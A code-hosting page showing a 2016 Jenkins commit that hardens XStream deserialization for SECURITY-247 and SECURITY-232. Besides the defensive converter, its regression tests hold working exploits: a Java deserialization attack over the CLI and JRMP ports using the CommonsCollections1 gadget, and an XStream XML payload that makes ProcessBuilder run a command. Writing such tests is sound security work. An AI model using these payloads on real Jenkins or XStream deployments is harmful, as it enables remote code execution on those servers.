Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
xxadev
jenkins
提交
1211ff92
J
jenkins
项目概览
xxadev
/
jenkins
与 Fork 源项目一致
从无法访问的项目Fork
通知
3
Star
0
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
J
jenkins
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
提交
Issue看板
体验新版 GitCode,发现更多精彩内容 >>
提交
1211ff92
编写于
2月 10, 2016
作者:
J
Jesse Glick
浏览文件
操作
浏览文件
下载
差异文件
Merge branch 'security-stable-1.609' into security-stable-1.625
上级
c9cea4f2
0a1e4657
变更
5
显示空白变更内容
内联
并排
Showing
5 changed file
with
433 addition
and
1 deletion
+433
-1
core/src/main/java/hudson/util/XStream2.java
core/src/main/java/hudson/util/XStream2.java
+29
-0
pom.xml
pom.xml
+1
-1
test/src/test/java/hudson/util/XStream2Security247Test.java
test/src/test/java/hudson/util/XStream2Security247Test.java
+120
-0
test/src/test/java/jenkins/security/Security232Test.java
test/src/test/java/jenkins/security/Security232Test.java
+256
-0
test/src/test/resources/hudson/util/XStream2Security247Test/config.xml
.../resources/hudson/util/XStream2Security247Test/config.xml
+27
-0
未找到文件。
core/src/main/java/hudson/util/XStream2.java
浏览文件 @
1211ff92
...
...
@@ -47,6 +47,7 @@ import edu.umd.cs.findbugs.annotations.SuppressWarnings;
import
hudson.PluginManager
;
import
hudson.PluginWrapper
;
import
hudson.diagnosis.OldDataMonitor
;
import
hudson.remoting.ClassFilter
;
import
hudson.util.xstream.ImmutableSetConverter
;
import
hudson.util.xstream.ImmutableSortedSetConverter
;
import
jenkins.model.Jenkins
;
...
...
@@ -159,6 +160,8 @@ public class XStream2 extends XStream {
// but before reflection-based one kicks in.
registerConverter
(
new
AssociatedConverterImpl
(
this
),
-
10
);
registerConverter
(
new
BlacklistedTypesConverter
(),
PRIORITY_VERY_HIGH
);
// SECURITY-247 defense
registerConverter
(
new
DynamicProxyConverter
(
getMapper
())
{
// SECURITY-105 defense
@Override
public
boolean
canConvert
(
Class
type
)
{
return
/* this precedes NullConverter */
type
!=
null
&&
super
.
canConvert
(
type
);
...
...
@@ -434,4 +437,30 @@ public class XStream2 extends XStream {
}
private
static
class
BlacklistedTypesConverter
implements
Converter
{
@Override
public
void
marshal
(
Object
source
,
HierarchicalStreamWriter
writer
,
MarshallingContext
context
)
{
throw
new
UnsupportedOperationException
(
"Refusing to marshal for security reasons"
);
}
@Override
public
Object
unmarshal
(
HierarchicalStreamReader
reader
,
UnmarshallingContext
context
)
{
throw
new
ConversionException
(
"Refusing to unmarshal for security reasons"
);
}
@Override
public
boolean
canConvert
(
Class
type
)
{
if
(
type
==
null
)
{
return
false
;
}
try
{
ClassFilter
.
DEFAULT
.
check
(
type
);
ClassFilter
.
DEFAULT
.
check
(
type
.
getName
());
}
catch
(
SecurityException
se
)
{
// claim we can convert all the scary stuff so we can throw exceptions when attempting to do so
return
true
;
}
return
false
;
}
}
}
pom.xml
浏览文件 @
1211ff92
...
...
@@ -179,7 +179,7 @@ THE SOFTWARE.
<dependency>
<groupId>
org.jenkins-ci.main
</groupId>
<artifactId>
remoting
</artifactId>
<version>
2.53.2
</version>
<version>
2.53.
3-20160204.182851-
2
</version>
</dependency>
<dependency>
...
...
test/src/test/java/hudson/util/XStream2Security247Test.java
0 → 100644
浏览文件 @
1211ff92
package
hudson.util
;
import
hudson.model.Items
;
import
org.apache.commons.io.*
;
import
org.apache.commons.io.IOUtils
;
import
org.junit.Before
;
import
org.junit.Rule
;
import
org.junit.Test
;
import
org.junit.rules.TemporaryFolder
;
import
org.jvnet.hudson.test.Issue
;
import
org.jvnet.hudson.test.JenkinsRule
;
import
org.kohsuke.stapler.StaplerRequest
;
import
org.kohsuke.stapler.StaplerResponse
;
import
org.mockito.Mock
;
import
org.mockito.MockitoAnnotations
;
import
javax.servlet.ServletInputStream
;
import
java.io.File
;
import
java.io.IOException
;
import
java.io.InputStream
;
import
static
org
.
junit
.
Assert
.
assertFalse
;
import
static
org
.
mockito
.
Mockito
.
when
;
public
class
XStream2Security247Test
{
@Rule
public
JenkinsRule
j
=
new
JenkinsRule
();
@Rule
public
TemporaryFolder
f
=
new
TemporaryFolder
();
@Mock
private
StaplerRequest
req
;
@Mock
private
StaplerResponse
rsp
;
@Before
public
void
setUp
()
throws
Exception
{
MockitoAnnotations
.
initMocks
(
this
);
}
@Test
@Issue
(
"SECURITY-247"
)
public
void
testXmlLoad
()
throws
Exception
{
File
exploitFile
=
f
.
newFile
();
try
{
// be extra sure there's no file already
if
(
exploitFile
.
exists
()
&&
!
exploitFile
.
delete
())
{
throw
new
IllegalStateException
(
"file exists and cannot be deleted"
);
}
File
tempJobDir
=
new
File
(
j
.
jenkins
.
getRootDir
(),
"security247"
);
String
exploitXml
=
org
.
apache
.
commons
.
io
.
IOUtils
.
toString
(
XStream2Security247Test
.
class
.
getResourceAsStream
(
"/hudson/util/XStream2Security247Test/config.xml"
),
"UTF-8"
);
exploitXml
=
exploitXml
.
replace
(
"@TOKEN@"
,
exploitFile
.
getAbsolutePath
());
FileUtils
.
write
(
new
File
(
tempJobDir
,
"config.xml"
),
exploitXml
);
try
{
Items
.
load
(
j
.
jenkins
,
tempJobDir
);
}
catch
(
Exception
e
)
{
// ignore
}
assertFalse
(
"no file should be created here"
,
exploitFile
.
exists
());
}
finally
{
exploitFile
.
delete
();
}
}
@Test
@Issue
(
"SECURITY-247"
)
public
void
testPostJobXml
()
throws
Exception
{
File
exploitFile
=
f
.
newFile
();
try
{
// be extra sure there's no file already
if
(
exploitFile
.
exists
()
&&
!
exploitFile
.
delete
())
{
throw
new
IllegalStateException
(
"file exists and cannot be deleted"
);
}
File
tempJobDir
=
new
File
(
j
.
jenkins
.
getRootDir
(),
"security247"
);
String
exploitXml
=
org
.
apache
.
commons
.
io
.
IOUtils
.
toString
(
XStream2Security247Test
.
class
.
getResourceAsStream
(
"/hudson/util/XStream2Security247Test/config.xml"
),
"UTF-8"
);
exploitXml
=
exploitXml
.
replace
(
"@TOKEN@"
,
exploitFile
.
getAbsolutePath
());
when
(
req
.
getMethod
()).
thenReturn
(
"POST"
);
when
(
req
.
getInputStream
()).
thenReturn
(
new
Stream
(
IOUtils
.
toInputStream
(
exploitXml
)));
when
(
req
.
getContentType
()).
thenReturn
(
"application/xml"
);
when
(
req
.
getParameter
(
"name"
)).
thenReturn
(
"foo"
);
try
{
j
.
jenkins
.
doCreateItem
(
req
,
rsp
);
}
catch
(
Exception
e
)
{
// don't care
}
assertFalse
(
"no file should be created here"
,
exploitFile
.
exists
());
}
finally
{
exploitFile
.
delete
();
}
}
private
static
class
Stream
extends
ServletInputStream
{
private
final
InputStream
inner
;
public
Stream
(
final
InputStream
inner
)
{
this
.
inner
=
inner
;
}
@Override
public
int
read
()
throws
IOException
{
return
inner
.
read
();
}
}
}
test/src/test/java/jenkins/security/Security232Test.java
0 → 100644
浏览文件 @
1211ff92
package
jenkins.security
;
import
hudson.remoting.Callable
;
import
hudson.remoting.Channel
;
import
hudson.remoting.Channel.Mode
;
import
hudson.remoting.ChannelBuilder
;
import
hudson.remoting.ClassFilter
;
import
hudson.remoting.JarLoader
;
import
java.io.DataOutputStream
;
import
java.io.File
;
import
java.io.IOException
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.Field
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.Method
;
import
java.lang.reflect.Proxy
;
import
java.net.HttpURLConnection
;
import
java.net.InetSocketAddress
;
import
java.net.Socket
;
import
java.net.URL
;
import
java.net.URLClassLoader
;
import
java.rmi.activation.ActivationDesc
;
import
java.rmi.activation.ActivationID
;
import
java.rmi.activation.ActivationInstantiator
;
import
java.rmi.server.ObjID
;
import
java.rmi.server.RemoteObject
;
import
java.rmi.server.UnicastRemoteObject
;
import
java.util.concurrent.ExecutorService
;
import
java.util.concurrent.Executors
;
import
javax.net.SocketFactory
;
import
static
jenkins
.
security
.
security218
.
Payload
.
CommonsCollections1
;
import
jenkins.security.security218.ysoserial.payloads.CommonsCollections1
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
static
org
.
junit
.
Assert
.*;
import
org.junit.Rule
;
import
org.junit.Test
;
import
org.jvnet.hudson.test.Issue
;
import
org.jvnet.hudson.test.JenkinsRule
;
import
sun.reflect.ReflectionFactory
;
import
sun.rmi.server.ActivationGroupImpl
;
import
sun.rmi.server.UnicastRef2
;
import
sun.rmi.server.Util
;
import
sun.rmi.transport.LiveRef
;
import
sun.rmi.transport.TransportConstants
;
import
sun.rmi.transport.tcp.TCPEndpoint
;
/**
* @author mbechler, adapted for JUnit/JenkinsRule by jglick
*/
@Issue
(
"SECURITY-232"
)
public
class
Security232Test
{
@Rule
public
JenkinsRule
r
=
new
JenkinsRule
();
@Test
public
void
commonsCollections1
()
throws
Exception
{
File
pwned
=
new
File
(
r
.
jenkins
.
getRootDir
(),
"pwned"
);
int
jrmpPort
=
12345
;
URL
u
=
r
.
getURL
();
HttpURLConnection
hc
=
(
HttpURLConnection
)
u
.
openConnection
();
int
clip
=
Integer
.
parseInt
(
hc
.
getHeaderField
(
"X-Jenkins-CLI-Port"
));
InetSocketAddress
isa
=
new
InetSocketAddress
(
u
.
getHost
(),
clip
);
Socket
s
=
null
;
Channel
c
=
null
;
try
{
System
.
err
.
println
(
"* Opening socket "
+
isa
);
s
=
SocketFactory
.
getDefault
().
createSocket
(
isa
.
getAddress
(),
isa
.
getPort
());
s
.
setKeepAlive
(
true
);
s
.
setTcpNoDelay
(
true
);
System
.
err
.
println
(
"* Opening channel"
);
OutputStream
outputStream
=
s
.
getOutputStream
();
DataOutputStream
dos
=
new
DataOutputStream
(
outputStream
);
dos
.
writeUTF
(
"Protocol:CLI-connect"
);
ExecutorService
cp
=
Executors
.
newCachedThreadPool
();
c
=
new
ChannelBuilder
(
"EXPLOIT"
,
cp
).
withMode
(
Mode
.
BINARY
).
build
(
s
.
getInputStream
(),
outputStream
);
System
.
err
.
println
(
"* Channel open"
);
Class
<?>
reqClass
=
Class
.
forName
(
"hudson.remoting.RemoteInvocationHandler$RPCRequest"
);
Constructor
<?>
reqCons
=
reqClass
.
getDeclaredConstructor
(
int
.
class
,
Method
.
class
,
Object
[].
class
);
reqCons
.
setAccessible
(
true
);
Object
getJarLoader
=
reqCons
.
newInstance
(
1
,
Class
.
forName
(
"hudson.remoting.IChannel"
).
getMethod
(
"getProperty"
,
Object
.
class
),
new
Object
[]
{
JarLoader
.
class
.
getName
()
+
".ours"
});
Object
call
=
c
.
call
((
Callable
<
Object
,
Exception
>)
getJarLoader
);
InvocationHandler
remote
=
Proxy
.
getInvocationHandler
(
call
);
Class
<?>
rih
=
Class
.
forName
(
"hudson.remoting.RemoteInvocationHandler"
);
Field
oidF
=
rih
.
getDeclaredField
(
"oid"
);
oidF
.
setAccessible
(
true
);
int
oid
=
oidF
.
getInt
(
remote
);
System
.
err
.
println
(
"* JarLoader oid is "
+
oid
);
Constructor
<
UnicastRemoteObject
>
uroC
=
UnicastRemoteObject
.
class
.
getDeclaredConstructor
();
uroC
.
setAccessible
(
true
);
ReflectionFactory
rf
=
ReflectionFactory
.
getReflectionFactory
();
Constructor
<?>
sc
=
rf
.
newConstructorForSerialization
(
ActivationGroupImpl
.
class
,
uroC
);
sc
.
setAccessible
(
true
);
UnicastRemoteObject
uro
=
(
UnicastRemoteObject
)
sc
.
newInstance
();
Field
portF
=
UnicastRemoteObject
.
class
.
getDeclaredField
(
"port"
);
portF
.
setAccessible
(
true
);
portF
.
set
(
uro
,
jrmpPort
);
Field
f
=
RemoteObject
.
class
.
getDeclaredField
(
"ref"
);
f
.
setAccessible
(
true
);
f
.
set
(
uro
,
new
UnicastRef2
(
new
LiveRef
(
new
ObjID
(
2
),
new
TCPEndpoint
(
"localhost"
,
12345
),
true
)));
Object
o
=
reqCons
.
newInstance
(
oid
,
JarLoader
.
class
.
getMethod
(
"isPresentOnRemote"
,
Class
.
forName
(
"hudson.remoting.Checksum"
)),
new
Object
[]
{
uro
,
});
try
{
c
.
call
((
Callable
<
Object
,
Exception
>)
o
);
}
catch
(
Exception
e
)
{
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]]
e
.
printStackTrace
();
String
msg
=
e
.
getMessage
();
int
start
=
msg
.
indexOf
(
"objID:["
);
if
(
start
<
0
)
{
return
;
// good, got blocked before we even got this far
}
int
sep
=
msg
.
indexOf
(
", "
,
start
+
1
);
if
(
sep
<
0
)
{
throw
new
Exception
(
"Failed to get object id, separator"
);
}
int
end
=
msg
.
indexOf
(
"]"
,
sep
+
1
);
if
(
end
<
0
)
{
throw
new
Exception
(
"Failed to get object id, separator"
);
}
String
uid
=
msg
.
substring
(
start
+
7
,
sep
);
String
objNum
=
msg
.
substring
(
sep
+
2
,
end
);
System
.
err
.
println
(
"* UID is "
+
uid
);
System
.
err
.
println
(
"* ObjNum is "
+
objNum
);
String
[]
parts
=
uid
.
split
(
":"
);
long
obj
=
Long
.
parseLong
(
objNum
);
int
o1
=
Integer
.
parseInt
(
parts
[
0
],
16
);
long
o2
=
Long
.
parseLong
(
parts
[
1
],
16
);
short
o3
=
Short
.
parseShort
(
parts
[
2
],
16
);
exploit
(
new
InetSocketAddress
(
isa
.
getAddress
(),
jrmpPort
),
obj
,
o1
,
o2
,
o3
,
new
CommonsCollections1
(),
"touch "
+
pwned
);
}
c
.
close
();
}
finally
{
if
(
s
!=
null
)
{
s
.
close
();
}
}
Thread
.
sleep
(
5000
);
assertFalse
(
"Pwned!"
,
pwned
.
exists
());
}
/**
* @param inetSocketAddress
* @param obj
* @param o1
* @param o2
* @param o3
* @throws IOException
*/
private
static
void
exploit
(
InetSocketAddress
isa
,
long
obj
,
int
o1
,
long
o2
,
short
o3
,
ObjectPayload
payload
,
String
payloadArg
)
throws
Exception
{
Socket
s
=
null
;
try
{
System
.
err
.
println
(
"* Opening JRMP socket "
+
isa
);
s
=
SocketFactory
.
getDefault
().
createSocket
(
isa
.
getAddress
(),
isa
.
getPort
());
s
.
setKeepAlive
(
true
);
s
.
setTcpNoDelay
(
true
);
OutputStream
os
=
s
.
getOutputStream
();
DataOutputStream
dos
=
new
DataOutputStream
(
os
);
dos
.
writeInt
(
TransportConstants
.
Magic
);
dos
.
writeShort
(
TransportConstants
.
Version
);
dos
.
writeByte
(
TransportConstants
.
SingleOpProtocol
);
dos
.
write
(
TransportConstants
.
Call
);
final
ObjectOutputStream
objOut
=
new
ObjectOutputStream
(
dos
)
{
protected
void
annotateClass
(
Class
<?>
cl
)
throws
IOException
{
if
(
!
(
cl
.
getClassLoader
()
instanceof
URLClassLoader
)
)
{
writeObject
(
null
);
}
else
{
URL
[]
us
=
(
(
URLClassLoader
)
cl
.
getClassLoader
()
).
getURLs
();
String
cb
=
""
;
for
(
URL
u
:
us
)
{
cb
+=
u
.
toString
();
}
writeObject
(
cb
);
}
}
/**
* Serializes a location from which to load the specified class.
*/
protected
void
annotateProxyClass
(
Class
<?>
cl
)
throws
IOException
{
annotateClass
(
cl
);
}
};
objOut
.
writeLong
(
obj
);
objOut
.
writeInt
(
o1
);
objOut
.
writeLong
(
o2
);
objOut
.
writeShort
(
o3
);
objOut
.
writeInt
(-
1
);
objOut
.
writeLong
(
Util
.
computeMethodHash
(
ActivationInstantiator
.
class
.
getMethod
(
"newInstance"
,
ActivationID
.
class
,
ActivationDesc
.
class
)));
System
.
err
.
println
(
"Running "
+
payload
+
" against "
+
ClassFilter
.
class
.
getProtectionDomain
().
getCodeSource
().
getLocation
());
final
Object
object
=
payload
.
getObject
(
payloadArg
);
objOut
.
writeObject
(
object
);
os
.
flush
();
}
finally
{
if
(
s
!=
null
)
{
s
.
close
();
}
}
}
}
test/src/test/resources/hudson/util/XStream2Security247Test/config.xml
0 → 100644
浏览文件 @
1211ff92
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>
hashCode
</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate
class=
"groovy.util.Expando"
reference=
"../../../.."
/>
<owner
class=
"java.lang.ProcessBuilder"
>
<command>
<string>
touch
</string>
<string>
@TOKEN@
</string>
</command>
<redirectErrorStream>
false
</redirectErrorStream>
</owner>
<resolveStrategy>
0
</resolveStrategy>
<directive>
0
</directive>
<parameterTypes/>
<maximumNumberOfParameters>
0
</maximumNumberOfParameters>
<method>
start
</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>
1
</int>
</entry>
</map>
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录